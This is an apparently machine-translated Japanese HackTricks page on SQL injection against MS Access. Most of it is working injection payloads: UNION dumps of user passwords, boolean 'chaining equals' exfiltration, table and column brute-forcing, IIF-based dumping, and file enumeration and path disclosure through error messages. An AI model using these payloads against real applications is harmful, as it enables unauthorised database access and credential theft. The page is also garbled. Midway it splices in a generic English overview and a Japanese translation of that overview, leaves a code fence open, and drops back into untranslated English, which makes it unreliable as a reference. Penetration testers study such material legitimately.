14 KiB
MS Access SQL Injection
AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスウェグを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmでフォローする。
- ハッキングテクニックを共有するために、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。
オンラインプレイグラウンド
DBの制限事項
文字列の連結
文字列の連結は、& (%26)
および+ (%2b)
文字を使用して可能です。
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
コメント
MS Accessにはコメントがありませんが、NULL文字を使用してクエリの最後を削除することができるようです。
1' union select 1,2 from table%00
もしこれがうまくいかない場合は、クエリの構文を修正することもできます:
1' UNION SELECT 1,2 FROM table WHERE ''='
スタックされたクエリ
サポートされていません。
LIMIT
LIMIT
演算子は実装されていません。ただし、TOP
演算子を使用してSELECTクエリの結果を最初のN行に制限することが可能です。TOP
は、返される行数を表す整数を引数として受け入れます。
1' UNION SELECT TOP 3 attr FROM table%00
TOPと同様に、LAST
を使用して最後からの行を取得できます。
UNIONクエリ/サブクエリ
SQLiでは、通常、他のテーブルから情報を抽出するために新しいクエリをいかにして実行するかを考えることになります。MS Accessでは、サブクエリや追加のクエリではFROM
が指定されている必要があります。
したがって、UNION SELECT
やUNION ALL SELECT
、または条件で括弧内にSELECT
を実行したい場合は、常に有効なテーブル名を指定する必要があります。
したがって、有効なテーブル名を知る必要があります。
-1' UNION SELECT username,password from users%00
チェーンの等号 + サブストリング
{% hint style="warning" %} これにより、現在のテーブルの値を取得することができますが、テーブル名を知る必要はありません。 {% endhint %}
MS Access は '1'=2='3'='asd'=false
などの 奇妙な構文 を許可します。通常、SQLインジェクションは WHERE
句の中にあるため、これを悪用することができます。
MS AccessデータベースでSQLiがあるとし、1つの カラム名がusername であることを知っている(または推測している)場合、それが exfiltrate
したいフィールドであるとします。チェーンの等号テクニックが使用されたときのWebアプリの異なる応答をチェックし、Mid
関数を使用して サブストリング を取得する ブールインジェクション を使用してコンテンツを exfiltrate
することができます。
'=(Mid(username,1,3)='adm')='
もしテーブルの名前とダンプする列がわかっている場合は、Mid
、LAST
、TOP
の組み合わせを使用して、ブール型SQLiを介してすべての情報を漏洩することができます。
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
オンラインプレイグラウンドで確認してみてください。
テーブル名の総当たり攻撃
チェーンイコールテクニックを使用して、次のようにテーブル名を総当たり攻撃することもできます:
'=(select+top+1+'lala'+from+<table_name>)='
## MS Access SQL Injection
### Introduction
In Microsoft Access databases, SQL injection can be performed using the same techniques as in other database systems. However, there are some differences in syntax and behavior that need to be considered when conducting SQL injection attacks against MS Access databases.
### Identifying MS Access
To determine if a website is using an MS Access database, you can look for file extensions like `.mdb` or `.accdb` in the URL or in error messages. Additionally, you can try injecting SQL commands to see if the database responds in a way that is consistent with MS Access.
### Basic SQL Injection
Basic SQL injection in MS Access involves manipulating SQL queries to extract, modify, or delete data from the database. This can be done by injecting SQL commands into input fields or parameters vulnerable to injection.
### Union-Based SQL Injection
Union-based SQL injection can be used in MS Access by injecting `UNION SELECT` statements into vulnerable input fields to retrieve data from other tables in the database.
### Error-Based SQL Injection
Error-based SQL injection in MS Access involves injecting SQL code that triggers database errors, revealing information about the database structure or data.
### Time-Based Blind SQL Injection
Time-based blind SQL injection can also be performed in MS Access by injecting SQL code that causes a delay in the database response, allowing an attacker to infer information based on the delay.
### Conclusion
SQL injection in MS Access databases follows similar principles to other databases, but understanding the specific syntax and behavior of MS Access is crucial for successful exploitation.
<!-- Translation into Japanese -->
## MS Access SQLインジェクション
### はじめに
Microsoft Accessデータベースでは、他のデータベースシステムと同様の手法を使用してSQLインジェクションを実行できます。ただし、MS Accessデータベースに対するSQLインジェクション攻撃を実行する際に考慮すべき構文や動作にはいくつかの違いがあります。
### MS Accessの特定
ウェブサイトがMS Accessデータベースを使用しているかどうかを判断するには、URLやエラーメッセージに`.mdb`や`.accdb`などのファイル拡張子が含まれているかどうかを確認できます。さらに、SQLコマンドをインジェクションして、データベースがMS Accessに特有の方法で応答するかどうかを確認することもできます。
### 基本的なSQLインジェクション
MS Accessでの基本的なSQLインジェクションは、SQLクエリを操作してデータベースからデータを抽出、変更、削除することを含みます。これは、インジェクションに対して脆弱な入力フィールドやパラメータにSQLコマンドをインジェクションすることで行うことができます。
### ユニオンベースのSQLインジェクション
ユニオンベースのSQLインジェクションは、MS Accessでも使用できます。脆弱な入力フィールドに`UNION SELECT`ステートメントをインジェクションして、データベース内の他のテーブルからデータを取得することができます。
### エラーベースのSQLインジェクション
MS AccessでのエラーベースのSQLインジェクションは、データベースエラーをトリガーするSQLコードをインジェクションして、データベース構造やデータに関する情報を明らかにします。
### 時間ベースのブラインドSQLインジェクション
時間ベースのブラインドSQLインジェクションも、MS Accessで実行することができます。データベースの応答に遅延を引き起こすSQLコードをインジェクションすることで、攻撃者はその遅延に基づいて情報を推測することができます。
### 結論
MS AccessデータベースでのSQLインジェクションは、他のデータベースと同様の原則に従いますが、MS Accessの特定の構文や動作を理解することが成功した攻撃にとって重要です。
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
Feel free to check this in the online playground.
- Sqlmap common table names: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- There is another list in http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
Brute-Forcing Columns names
You can brute-force current columns names with the chaining equals trick with:
'=column_name='
または、group by を使用して:
-1' GROUP BY column_name%00
または、次のようにして、異なるテーブルの列名を総当たり攻撃することもできます:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
データのダンプ
すでに、chaining equals technique を使用して現在のテーブルおよび他のテーブルからデータをダンプする方法について説明しました。しかし、他にも方法があります:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
要するに、クエリは「if-then」ステートメントを使用して、成功した場合は「200 OK」をトリガーし、それ以外の場合は「500 Internal Error」をトリガーします。 TOP 10演算子を利用することで、最初の10件の結果を選択することが可能です。 LASTの後に使用することで、10番目のタプルのみを考慮できます。その値を使用して、MID演算子を使用して単純な文字の比較を行うことができます。 MIDとTOPのインデックスを適切に変更することで、すべての行の「username」フィールドの内容をダンプすることができます。
時間ベース
その他の興味深い関数
Mid('admin',1,1)
:位置1から長さ1の部分文字列を取得します(初期位置は1)LEN('1234')
:文字列の長さを取得しますASC('A')
:文字のASCII値を取得しますCHR(65)
:ASCII値から文字列を取得しますIIF(1=1,'a','b')
:if thenCOUNT(*)
:アイテムの数をカウントします
テーブルの列挙
こちらから、テーブル名を取得するクエリを確認できます。
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
しかし、MSysObjects
テーブルを読む権限がない場合に SQL インジェクションを見つけるのは非常に一般的です。
ファイルシステムアクセス
Web ルートディレクトリのフルパス
Web ルートの絶対パスを知ることは、さらなる攻撃を容易にする可能性があります。アプリケーションのエラーが完全に隠されていない場合、ディレクトリパスは存在しないデータベースからデータを選択しようとして明らかにされることがあります。
http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00
MS Access は、Web ディレクトリのフルパス名を含むエラーメッセージを返します。
ファイル列挙
次の攻撃ベクトルは、リモートファイルシステム上のファイルの存在を推測するために使用できます。指定されたファイルが存在する場合、MS Access はデータベース形式が無効であることを通知するエラーメッセージをトリガーします。
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
ファイルを列挙する別の方法は、データベース.テーブル アイテムを指定することです。指定されたファイルが存在する場合、MS Access はデータベース形式のエラーメッセージを表示します。
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00
.mdb ファイル名の推測
次のクエリを使用して、データベースファイル名 (.mdb) を推測できます。
http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00
ここで、name[i] は .mdb ファイル名であり、realTable はデータベース内の存在するテーブルです。MS Access は常にエラーメッセージをトリガーしますが、無効なファイル名と有効な .mdb ファイル名を区別することができます。
.mdb パスワードクラッカー
Access PassView は、Microsoft Access 95/97/2000/XP または Jet Database Engine 3.0/4.0 のメインデータベースパスワードを回復するために使用できる無料のユーティリティです。